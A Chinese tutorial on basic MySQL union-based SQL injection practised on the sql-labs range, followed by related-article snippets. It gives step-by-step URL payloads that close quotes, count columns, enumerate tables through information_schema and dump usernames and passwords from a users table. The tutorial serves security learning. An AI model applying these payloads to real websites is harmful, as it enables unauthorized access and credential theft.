SQL注入基础教程

article/2025/10/12 6:36:05

注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程

SQL注入基础教程

  • 数据库的结构
  • 注释符
  • SQL注入之基础注入

数据库的结构

在学习数据库之前,我们首先要了解数据库的结构。
一般数据库由三个部分组成:
1.数据库
2.表
3.列

MySQL数据库默认有四个库
information_schema
mysql
performance_schema
test1.

简单介绍一下各库有何作用。
information_schema:
保存着数据库中所有数据库的信息。
其中需要记住有三个重要的表名
1.tables

table_schema列:存放着所有数据库的名字
table_name列:存放着所有数据库中表的名字

2.columns

columns_name列:存放着所有数据库的列名

3.schemata

schema_name列:存放着所有数据库的名字,只有数据库的名字

注:注入时常用information_schema库
mysql:
这是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。 不可以删除,不可轻易修改其中的信息
performance_schema:
mysql5.5 版本 新增了一个性能优化的引擎,performance_schema这个功能默认是关闭的。
test:
没有东西

注释符

在mysql中有- -和#两种注释符
注释符- -后需要跟空格才能使用,而注释符#后可以直接跟需要注释的内容
注:- -后也可以跟其他符号,效果一样。
在这里插入图片描述

SQL注入之基础注入

注:需要有sql-labs靶场,sql语句命令基础
首先介绍一下注入的两种类型:
1.数字型
2.字符型
首先在地址栏中输入?id=1,如图:
在这里插入图片描述

这就相当于在sql中执行了select * from users where id='1' limit 0,1;
OK,了解原理后我们开始判断注入的类型
在地址栏中输入?id=1 and 1=1,结果正常回显,输入?id=2,结果也正常回显
在这里插入图片描述
注意看,这里的?id=1 and 1=2,如果是数字型注入的话,这里会有一个逻辑判断,即1不等于2,这将会返回一个空值(Null),返回一个错误页面。
简单来说,就是如果报错,就是数字型注入,不报错就是字符型注入。
经过以上推断我们发现,这是一个字符型注入。
我们接着输入?id=1'
在这里插入图片描述

发现报错。
这里就要用到我们开头提到的注释符了。看红框处,near后面是报错的部分,这里的报错是用near’…'的格式,去掉外面的 ’ ’ 两个引号,我们得到 '1''
为什么会出现这种情况呢?
这是因为我在地址栏中写入的?id=1'相当于sql中执行的select * from users where id='1'' limit 0,1;
所以我们需要注释掉一个后面的引号。
写成:?id=1' --+
在这里插入图片描述
闭合成功,不再报错。
接下来就可以开始正式注入了。
确定有几列

?id=1' order by 3--+

未报错

?id=1' order by 4--+

报错
在这里插入图片描述

判断显示位

?id=-1' union select 1,2,3--+

在这里插入图片描述
注意:这里是?id=-1',如果还输入1,则会正常回显。
此步我们得知有两个显示位。
获取数据库的名称

?id=1' union select 1,2,database()--+

注:database()函数是用来返回数据库的名称的
在这里插入图片描述
这里得知数据库的名称为security。
查表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
注:group_concat函数可以将多行记录合并成一行,若不加此函数则只返回第一行记录。
成功获取
获取列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述
最后一步
爆表

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

在这里插入图片描述
结语:此篇只是一篇基础教程,想要获取网站的数据库或后台,并没有这么简单,后续会给大家出更高级的教程,只有多积累才会有更高的水准。


http://chatgpt.dhexx.cn/article/6nFFuPa2.shtml

相关文章

SQL 注入教程:通过示例学习

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户那里获取数据。SQL是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。 什么是 SQL 注入? SQL 注入是一种攻击动态 SQL 语句以注释掉语句的某些部分或附加始终为真的条…

sql注入详解

目录 前言? ? 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 结…

SQL注入教程

目录 基础sql语法基础注释sql注入漏洞产生的条件 sql注入的分类基于从服务器收到的响应基于数据库种类基于如何处理输入的SQL查询(数据类型)参数位置注入方法注入流程 万能密码ACCESS注入流程判断方法注入实战 MSSQL注入流程默认数据库函数注入过程 MySql注入(重头戏…

SQL注入基本教程

注:只是自己学习记录,若有不对的地方请指出,文章有过一次修改,修改了关于order by函数的知识点 个人小站 SQL注入基本教程 数据库的结构注释符SQL注入简单教程 数据库的结构 学习SQL注入首先要知道数据库的结构 数据库由三个部分…

Sql注入的入门教程

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句&…

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计,可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式,尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们:关于这个图像的原始格式是否需要进行设置。通常使用默认的,点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ,一款免费却又极其强大的图像处理软件。百科 但很不幸的是,这款软件对于电脑小白而言,可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉,这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间,笔者有一个项目需求,需要在一张图片上面添加文件,并另存为一张新的图片。刚开始的时候,笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求,而且其license是MIT,不依赖于第三方的可执行程序…

imgageJ开发【Java】

一.ImageJ简介 ImageJ是一款由NIH(National Institutes of Health,美国国家卫生研究院)发起,可用于Windows,Mac,OSX和Linux等操作系统的图像处理开元软件,ImageJ小巧,只有5MB左右,界面简洁&…

ImageIO类的使用

重点内容 (一) How to read an image from file or URL? 从本地文本读取图片 File sourceimage new File("c:\\mypic.jpg"); Image image ImageIO.read(sourceimage); 从网络上获取图片 URL url new URL("http://www.mkyong.com/image/mypic…

安装Image J 插件

1.下载imageJ,网址:https://imagej.net/Fiji/Downloads 2.解压 3.安装插件 (1)https://imagej.nih.gov/ij/plugins/index.html这个网址下载你需要的插件。打开toolsets或者tools。 ![在这里插入图片描述](https://img-blog.csd…

ImageJ工具使用简介

ImageJ工具使用简介 在以前的博文中也介绍过看Raw图的方法,自己平常也使用windows上的一些插值工具来看raw图,最近发现了一个宝贝----ImageJ,最让我惊喜的是它可以完美的在Windows以及Ubuntu中使用,避免了我抓取Raw图之后拷贝到w…

JavaSE小项目(小游戏)

JavaSE编写的小游戏 源码下载地址:https://github.com/ygsama/SmallGame 游戏名(难度) 满天星(★☆☆☆☆) 球球(★☆☆☆☆) 打字游戏(★☆☆☆☆) 汤姆猫(★★☆☆☆&#x…

JAVA小项目(6)javaSE

1 记帐本 1.1 使用技能点: 分支、循环、String的拼接 1.2 功能和效果 1.3 项目架构 public class Test {public static void main(String[] args) {while(true){System.out.println("-------欢迎使用记账系统--------");System.out.println("1.收…

java项目源码分享——适合新手练手的java项目

源码下载(实例一):jsp开发完整的博研图书馆后台管理系统,不使用框架开发的,太完美了 源码下载(实例二):javaWeb图书馆管理系统源码mysql版本 源码下载(实例三&#xff09…

java小项目 ATM机(简易版)

目录 说明 项目介绍 功能介绍 结构图 各模块代码 登录界面 服务选择界面 存取款界面 修改密码模块 转账模块 总代码 说明 简单做了一个java的ATM机项目、本项目只能作为一个简单的运行程序。因为没有学到数据库,文件等内容,没有存储功能&…

适合新手练习的 java 小项目

适合新手练习的 java 小项目 智能电话本 视频连接在下方↓ 包括源码也在下面 不要问我为什么推荐这个,因为我也只是一个新手,这个项目是纯命令行的, 不需要数据库和网页编程知识,做起来很简单,可以帮助新手巩固基础…

JavaWeb新手小项目以及源码

此项目主要实现的功能有&#xff1a; jsp连接数据库、MD5加密、验证码验证、Ajax、文件的上传与下载、session登录验证等。 先来几张截图&#xff1a; 一、首先写登录页面 login.jsp <% page language"java" import"java.util.*" pageEncoding&qu…